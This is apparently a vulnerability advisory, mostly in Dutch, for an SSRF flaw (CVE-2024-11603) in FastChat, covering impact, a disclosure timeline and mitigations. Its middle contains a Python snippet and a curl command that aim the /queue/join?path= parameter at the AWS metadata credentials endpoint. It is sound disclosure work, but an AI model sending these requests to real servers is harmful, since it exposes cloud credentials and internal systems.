FastChat Server-Side Request Forgery kwetsbaarheid

De SSRF-kwetsbaarheid in fschat stelt een aanvaller in staat om verzoeken uit te voeren alsof ze afkomstig zijn van de server zelf. Dit betekent dat de aanvaller interne resources kan benaderen die normaal gesproken niet toegankelijk zijn vanaf het openbare internet. Een succesvolle exploitatie kan leiden tot het blootleggen van gevoelige informatie, zoals AWS credentials, interne IP-adressen en andere configuratiegegevens. Verder kan de aanvaller mogelijk interne services misbruiken of zelfs toegang krijgen tot andere systemen binnen het netwerk, waardoor de impact aanzienlijk kan toenemen. Dit patroon is vergelijkbaar met andere SSRF-aanvallen waarbij interne metadata endpoints worden misbruikt.

Organizations deploying fastchat for language model serving, particularly those running on AWS infrastructure, are at significant risk. Shared hosting environments where fastchat instances share network access with other tenants are also particularly vulnerable, as a successful SSRF attack could potentially compromise other services on the same host.

• python / server:

import requests
import urllib.parse

def check_ssrf(url):
    try:
        parsed_url = urllib.parse.urlparse(url)
        if parsed_url.scheme in ('http', 'https'):
            response = requests.get(url, timeout=5)
            print(f"URL: {url}, Status Code: {response.status_code}")
        else:
            print(f"Invalid URL scheme: {url}")
    except requests.exceptions.RequestException as e:
        print(f"Error accessing {url}: {e}")

# Example usage - check AWS metadata endpoint
check_ssrf('http://169.254.169.254/latest/meta-data/iam/security-credentials/')

• generic web:

curl -I 'http://your-fastchat-server/queue/join?path=http://169.254.169.254/latest/meta-data/iam/security-credentials/'

1. 2025-03-20Disclosure

   disclosure

1. Gereserveerd2024-11-21
2. Gepubliceerd2025-03-20
3. Gewijzigd2025-03-21
4. EPSS bijgewerkt2026-04-02

De primaire mitigatie voor CVE-2024-11603 is het upgraden van fschat naar een versie hoger dan 0.2.36, zodra deze beschikbaar is. Indien een directe upgrade niet mogelijk is, kan een tijdelijke workaround bestaan uit het implementeren van een Web Application Firewall (WAF) of proxy die verzoeken naar de /queue/join? endpoint filtert en ongevalideerde paden blokkeert. Controleer ook de configuratie van de server en zorg ervoor dat er geen onnodige interne services worden blootgesteld. Het implementeren van strikte netwerksegmentatie kan de impact van een succesvolle exploitatie verder beperken.